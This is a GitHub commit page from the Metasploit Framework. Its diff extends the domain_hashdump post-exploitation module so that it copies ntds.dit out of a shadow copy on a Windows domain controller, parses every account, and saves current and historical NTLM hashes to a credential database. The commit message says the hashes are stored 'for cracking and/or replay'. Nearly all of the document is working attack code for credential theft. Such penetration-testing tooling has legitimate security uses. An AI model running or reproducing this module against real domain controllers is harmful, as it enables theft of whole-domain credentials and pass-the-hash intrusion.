Skip to content

Commit 724b7c6

Browse files
David MaloneyDavid Maloney
authored andcommitted
save the ntlm hases as creds
the last step is now complete. the current and historical hashes are all saved to the database for cracking and/or replay MSP-12358
1 parent 452fc6b commit 724b7c6

File tree

2 files changed

+33
-9
lines changed

2 files changed

+33
-9
lines changed

lib/metasploit/framework/ntds/account.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -81,7 +81,7 @@ def initialize(raw_data)
8181
def to_s
8282
<<-EOS.strip_heredoc
8383
#{@name} (#{@description})
84-
#{ntlm_hash}
84+
#{@name}:#{@rid}:#{ntlm_hash}
8585
Password Expires: #{@expiry_date}
8686
Last Password Change: #{@pass_time} #{@pass_date}
8787
Last Logon: #{@logon_time} #{@logon_date}
@@ -94,7 +94,7 @@ def to_s
9494

9595
# @return [String] the NTLM hash string for the current password
9696
def ntlm_hash
97-
"#{@name}:#{@rid}:#{@lm_hash}:#{@nt_hash}"
97+
"#{@lm_hash}:#{@nt_hash}"
9898
end
9999

100100
# @return [String] Each historical NTLM Hash on a new line

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 31 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -36,9 +36,16 @@ def run
3636
unless ntds_file.nil?
3737
print_status "Repairing NTDS database after copy..."
3838
print_status repair_ntds(ntds_file)
39+
realm = domain_name
3940
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
4041
ntds_parser.each_account do |ad_account|
4142
print_good ad_account.to_s
43+
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
44+
ad_account.nt_history.each_with_index do |nt_hash, index|
45+
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
46+
hash_string << ":#{nt_hash}"
47+
report_hash(hash_string.downcase,ad_account.name, realm)
48+
end
4249
end
4350
end
4451
end
@@ -59,6 +66,11 @@ def copy_database_file
5966
database_file_path
6067
end
6168

69+
def domain_name
70+
result = cmd_exec('cmd.exe', '/c systeminfo | findstr /B /C:"Domain"')
71+
result.gsub!(/Domain:\s+/,'')
72+
end
73+
6274
def is_domain_controller?
6375
status = false
6476
if session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit')
@@ -108,6 +120,21 @@ def repair_ntds(path='')
108120
cmd_exec("esentutl", arguments)
109121
end
110122

123+
def report_hash(ntlm_hash, username, realm)
124+
cred_details = {
125+
origin_type: :session,
126+
session_id: session_db_id,
127+
post_reference_name: self.refname,
128+
private_type: :ntlm_hash,
129+
private_data: ntlm_hash,
130+
username: username,
131+
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
132+
realm_value: realm,
133+
workspace_id: myworkspace_id
134+
}
135+
create_credential(cred_details)
136+
end
137+
111138
def session_compat?
112139
if sysinfo['Architecture'] =~ /x64/ && session.platform =~ /x86/
113140
print_error "You are running 32-bit Meterpreter on a 64 bit system"
@@ -120,16 +147,13 @@ def session_compat?
120147

121148
def vss_method
122149
id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\")
150+
print_status "Getting Details of ShadowCopy #{id}"
123151
sc_details = get_sc_details(id)
124152
sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit"
125153
target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}"
126-
copy_command = "/c copy #{sc_path} #{target_path}"
127-
result = cmd_exec('cmd.exe', copy_command)
128-
if result =~ /1 file\(s\) copied/
129-
return target_path
130-
else
131-
return nil
132-
end
154+
print_status "Moving ntds.dit to #{target_path}"
155+
client.fs.file.mv(sc_path, target_path)
156+
target_path
133157
end
134158

135159
end

0 commit comments

Comments
 (0)